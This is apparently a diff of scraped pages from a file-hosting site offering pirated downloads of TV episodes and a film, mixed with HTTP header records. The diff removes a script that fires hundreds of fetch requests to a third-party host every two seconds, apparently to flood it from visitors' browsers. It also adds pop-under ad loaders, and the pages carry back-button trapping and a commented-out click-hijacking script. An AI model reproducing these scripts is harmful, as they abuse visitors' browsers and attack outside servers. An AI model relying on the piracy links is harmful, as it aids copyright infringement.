||||
if(event=="start"){
|
||||
console.log("started");
|
||||
console.log(Math.round(player.api("time")));
|
||||
yaCounter49597111.reachGoal('play');
|
||||
gtag('event', 'Video_played', {
|
||||
'send_to': 'G-LZP7HENPSC',
|
||||
'event_category': 'Video',
|
||||
'event_label': '28214',
|
||||
});
|
||||
gtag('event', 'Play', {
|
||||
'send_to': 'G-SZ2D21EHGZ',
|
||||
'event_category': 'Video',
|
||||
'event_label': 'Play',
|
||||
});
|
||||
window.parent.postMessage({
|
||||
event: 'started',
|
||||
time: Math.round(player.api("time")),
|
||||
}, '*');
|
||||
}
|
||||
if(event=="pause"){
|
||||
console.log("paused");
|
||||
console.log(Math.round(player.api("time")));
|
||||
window.parent.postMessage({
|
||||
event: 'paused',
|
||||
time: Math.round(player.api("time")),
|
||||
}, '*');
|
||||
}
|
||||
if(event=="end"){
|
||||
console.log("ended");
|
||||
console.log(Math.round(player.api("time")));
|
||||
window.parent.postMessage({
|
||||
event: 'ended',
|
||||
time: Math.round(player.api("time")),
|
||||
}, '*');
|
||||
}
|
||||
}
|
||||
</script>
|
||||
<!-- Yandex.Metrika counter -->
|
||||
<script type="text/javascript" >
|
||||
(function (d, w, c) {
|
||||
(w[c] = w[c] || []).push(function() {
|
||||
try {
|
||||
w.yaCounter49597111 = new Ya.Metrika2({
|
||||
id:49597111,
|
||||
clickmap:true,
|
||||
trackLinks:true,
|
||||
accurateTrackBounce:true
|
||||
});
|
||||
} catch(e) { }
|
||||
});
|
||||
|
||||
var n = d.getElementsByTagName("script")[0],
|
||||
s = d.createElement("script"),
|
||||
f = function () { n.parentNode.insertBefore(s, n); };
|
||||
s.type = "text/javascript";
|
||||
s.async = true;
|
||||
s.src = "https://cdn.jsdelivr.net/npm/yandex-metrica-watch/tag.js";
|
||||
|
||||
if (w.opera == "[object Opera]") {
|
||||
d.addEventListener("DOMContentLoaded", f, false);
|
||||
} else { f(); }
|
||||
})(document, window, "yandex_metrika_callbacks2");
|
||||
</script>
|
||||
<noscript><div><img src="https://mc.yandex.ru/watch/49597111" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
|
||||
<!-- /Yandex.Metrika counter -->
|
||||
<!-- https://fsst.online/embed/948429/ -->
|
||||
<!-- 2 -->
|
||||
<!-- -->
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -1 +0,0 @@
|
|||
{"accept-ranges":"bytes","access-control-allow-origin":"*","cache-control":"public, max-age=31536000","connection":"close","content-disposition":"attachment; filename=\"Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv\"","content-length":"3386258053","content-security-policy":"default-src 'self'; script-src 'none'","content-type":"video/x-matroska","date":"Tue, 16 Sep 2025 12:25:06 GMT","last-modified":"Sun, 18 May 2025 10:50:26 GMT","strict-transport-security":"max-age=31536000","x-ratelimit-limit":"3000","x-ratelimit-remaining":"2998","x-ratelimit-reset":"1758025560","x-robots-tag":"noindex, nofollow"}
|
||||
|
|
@ -1 +0,0 @@
|
|||
{"accept-ranges":"bytes","access-control-allow-origin":"*","cache-control":"public, max-age=31536000","connection":"close","content-disposition":"inline; filename=\"Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv\"","content-length":"5733546178","content-security-policy":"default-src 'self'; script-src 'none'","content-type":"video/x-matroska","date":"Tue, 16 Sep 2025 12:25:05 GMT","last-modified":"Sun, 25 May 2025 11:45:11 GMT","strict-transport-security":"max-age=31536000","x-ratelimit-limit":"3000","x-ratelimit-remaining":"2998","x-ratelimit-reset":"1758025560","x-robots-tag":"noindex, nofollow"}
|
||||
|
|
@ -1 +0,0 @@
|
|||
Fetcher error: 403: Forbidden
|
||||
|
|
@ -1 +0,0 @@
|
|||
Fetcher error: 403: Forbidden
|
||||
|
|
@ -1 +0,0 @@
|
|||
{"accept-ranges":"bytes","cache-control":"public, max-age=604800","cf-ray":"980058374e5337d8-FRA","connection":"close","content-disposition":"attachment; filename*=UTF-8''Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv","content-language":"S-B0t","content-length":"3386258051","content-type":"application/octet-stream","date":"Tue, 16 Sep 2025 12:25:06 GMT","etag":"\"26f5e98cf3cc3ef929a660fbf44fe115-404\"","last-modified":"Sun, 18 May 2025 11:02:51 GMT","server":"cloudflare","vary":"Accept-Encoding"}
|
||||
|
|
@ -1,4 +1,11 @@
|
|||
<script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
|
||||
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||
<script type="text/javascript">
|
||||
aclib.runPop({
|
||||
zoneId: '10553222',
|
||||
});
|
||||
</script>
|
||||
|
||||
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
history.pushState(null, null, location.href);
|
||||
|
|
@ -12,8 +19,7 @@ document.addEventListener("DOMContentLoaded", function() {
|
|||
<head>
|
||||
<title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||
<meta name="referrer" content="no-referrer">
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
|
|
@ -130,10 +136,11 @@ document.addEventListener("DOMContentLoaded", function() {
|
|||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body><center>
|
||||
<body>
|
||||
<center>
|
||||
<br/>
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
|
|
@ -160,7 +167,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
<p class="h3 text-success">Download Link Generated</p>
|
||||
<div class="input-group mb-3">
|
||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/bffzqlpqfllfcld" readonly="" id="ilink">
|
||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/bffzqlpqfllfcld" readonly="" id="ilink">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||
</div>
|
||||
|
|
@ -176,8 +183,6 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div class="ad-container"></div>
|
||||
|
||||
|
||||
|
|
@ -187,10 +192,19 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://hub.oreao-cdn.buzz/e35ec4a9a4efb5a154d0d10f9481dafc?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://pixel.hubcdn.fans/?id=21492bc915e609dd058e14bb1731d738ecbabde075e6a57924162ee17ab2dba6af0b2d315bfff2e113a3726863be50a0c9f92cc3470ad452f0c3223d49e7798f489e32a7a439e049a23b6750a49eb3f8acb834067ea5a1c7e0633b4425202ed5::b78919f2dc0c38d42c4c5147b3d4702c" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<a href="https://pixel.hubcdn.fans/?id=5c7253dc7782ea14f891ed9f4c4d7f7ee43284d5e72e6ff401de6f1906046db7713b6d892a040a4b3dd31c9f47eee611a17924f224fc27dd70a921d4e9025c6b7d8b937e11b44e737bd4d5cfd203e361f77a8496dd75025ad8ce3e200905ef3f::853f8b4709e1acb8413ec14270adf205" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||
|
||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||
|
|
@ -202,18 +216,16 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1758025506" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
</script>
|
||||
|
||||
|
||||
<a href="https://hidden-boat-e87c.hivegic619569.workers.dev/1397962425/53eaea70751039409adff7a1b54377f9aa8e590cd610a6452c849a7cbd2e40af66e667588bada714c63a9cf5360712f266b304e379bfde1d12c46aa2ccedf6eb::6170837909b2ffc3fc7f892bc959bd7e/Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv" download="Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PDL Server]</a>
|
||||
<script>
|
||||
fetch('https://ping.rojgaartakkar.com/bmRFb0YweUVYZ1QvZys0OTRsNk53T2JMRG13QWRxYW5YcWYxYzNHYjhHZz0=');
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://ddl2.cloudserver-1692958104.workers.dev/1397313204/a4d4a721744a9dfdbd8be7b27715738bbb80ca367d65277316db36bb584c0fbfe3c21108b9a243111ed7eec085a9d572ce5f7d7271507154b4d3d931114c3f8e4c2dce9cbb597557590a24a7083f463ed7369f491e73d260277b2545e1f6b9089f2467f185ac470832ea2089e27a5855e4204f396724eb836021b0a21b51bc5759b14c22bf8c0ca66f7680e0a44ff80bb09c20c28e93f2fdba3bd25769584e94ea466fca0aadafc2bdb59a70b319e25270e8502d4fb228d8c46c5a7d4f2af9c0::0f8e872aeeee57459e410e73b6e84d79/Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<p style="
|
||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
||||
|
||||
|
||||
|
||||
|
|
@ -237,7 +249,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
if(isAndroid()){
|
||||
android_launch.classList.remove("d-none");
|
||||
android_launch.addEventListener('click', ()=>{
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1758025506',scheme: 'https',type: 'video/x-matrosk',
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://hub.oreao-cdn.buzz/e35ec4a9a4efb5a154d0d10f9481dafc?token=1774428754',scheme: 'https',type: 'video/x-matrosk',
|
||||
});anchor.click();
|
||||
});
|
||||
|
||||
|
|
@ -274,7 +286,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/bffzqlpqfllfcld</p>
|
||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/bffzqlpqfllfcld</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
<script>
|
||||
|
|
@ -303,16 +315,22 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
|||
<br><br>
|
||||
</div>
|
||||
Msc
|
||||
|
||||
<video autoplay muted playsinline preload="metadata" hidden>
|
||||
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
|
||||
|
||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||
|
||||
<!--2dl-->
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
</div>
|
||||
|
||||
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||
</body>
|
||||
</html><script>
|
||||
window.sessionStorage.setItem('xl',window.location.href)
|
||||
|
|
@ -322,25 +340,11 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
|
|||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
<script>
|
||||
function x(){
|
||||
for (let i = 0; i < 369; i++) {
|
||||
|
||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
||||
"method": "GET",
|
||||
"mode": "no-cors",
|
||||
"referrerPolicy": 'no-referrer',
|
||||
});
|
||||
}
|
||||
}
|
||||
x();
|
||||
const intervalId = setInterval(() => {
|
||||
x();
|
||||
}, 2000)
|
||||
</script>
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||
<!--</script>-->
|
||||
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>
|
||||
|
||||
|
|
@ -1,4 +1,11 @@
|
|||
<script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
|
||||
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||
<script type="text/javascript">
|
||||
aclib.runPop({
|
||||
zoneId: '10553222',
|
||||
});
|
||||
</script>
|
||||
|
||||
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
history.pushState(null, null, location.href);
|
||||
|
|
@ -12,8 +19,7 @@ document.addEventListener("DOMContentLoaded", function() {
|
|||
<head>
|
||||
<title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||
<meta name="referrer" content="no-referrer">
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
|
|
@ -130,10 +136,11 @@ document.addEventListener("DOMContentLoaded", function() {
|
|||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body><center>
|
||||
<body>
|
||||
<center>
|
||||
<br/>
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
|
|
@ -160,7 +167,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
<p class="h3 text-success">Download Link Generated</p>
|
||||
<div class="input-group mb-3">
|
||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/idt1evqfuviqiei" readonly="" id="ilink">
|
||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/idt1evqfuviqiei" readonly="" id="ilink">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||
</div>
|
||||
|
|
@ -176,8 +183,6 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div class="ad-container"></div>
|
||||
|
||||
|
||||
|
|
@ -185,15 +190,21 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<iframe src="https://pixeldrain.dev/u/HqAiguQV?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
|
||||
<a href="https://pixeldrain.net/u/HqAiguQV" download="Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://pub-b5ecaffddf2344a0ae2222f5e8913e1b.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://pixel.hubcdn.fans/?id=529bf8a6089bbb95b78cf3cb1a6dc59fde5263bbdd021523a5c82feda0ba8ef5389cbaadec1f544a0af5c8005cc1f08d3c9d657117ec665281ccfab07cf57f480c0b88000cc87df9ace68870041479b5bbe24ca974e726fa3609bd53e21ad504::31791b788bbe5b7e5a8467880d69cece" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<a href="https://pixel.hubcdn.fans/?id=fb8c076011baaf9fd0cd6d349d86da6d8bf9c1a241cdcfb8ec27e07979b905608e125fadd030f801fa79752521d434885fe414c584c60919d282af9562b752b7fbaaad7784bd8251ce8eb1f5dacaf711bee65758b9f7fb78c4935b0b08afde16::837d46bfad85ed4f96ad7d9246ba302e" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||
|
||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||
|
|
@ -204,19 +215,16 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
|
||||
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1758025505" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
</script>
|
||||
<iframe src="https://pixeldrain.dev/u/HqAiguQV?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
|
||||
<a href="https://pixeldrain.dev/u/HqAiguQV" download="Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://ddl2.cloudserver-1692954790.workers.dev/1397313204/f21e7028ea6a932d9591378bbac598891ca0fab13e210fef8c6be7d9b7b22c9f48fd9d22719a71a55e7280ac8dbe7f01fd57386fac993fe3bdf66772dc1e08e69792acbd18c323b87a7fbc0f4eec7862f1d793c3c20c36082861091c8236b110cf3c186c55945950681e369e305675b442a8df092f83e9483dd1cbfff5271db3b77fbec42689825baf890da2186efa9806c9c69f850a0ef850c159152151ecb6617bf57be248b1d023b493ea2b9d80161d45732806cae4a7a6e9da9bdd2a3279::ea94114583b705a605ed9e55dc452914/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<p style="
|
||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
||||
|
||||
|
||||
|
||||
|
|
@ -240,7 +248,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
if(isAndroid()){
|
||||
android_launch.classList.remove("d-none");
|
||||
android_launch.addEventListener('click', ()=>{
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1758025505',scheme: 'https',type: 'video/x-matrosk',
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-b5ecaffddf2344a0ae2222f5e8913e1b.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1774428754',scheme: 'https',type: 'video/x-matrosk',
|
||||
});anchor.click();
|
||||
});
|
||||
|
||||
|
|
@ -277,7 +285,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/idt1evqfuviqiei</p>
|
||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/idt1evqfuviqiei</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
<script>
|
||||
|
|
@ -306,16 +314,22 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
|||
<br><br>
|
||||
</div>
|
||||
Msc
|
||||
|
||||
<video autoplay muted playsinline preload="metadata" hidden>
|
||||
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
|
||||
|
||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||
|
||||
<!--2dl-->
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
</div>
|
||||
|
||||
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||
</body>
|
||||
</html><script>
|
||||
window.sessionStorage.setItem('xl',window.location.href)
|
||||
|
|
@ -325,25 +339,11 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
|
|||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
<script>
|
||||
function x(){
|
||||
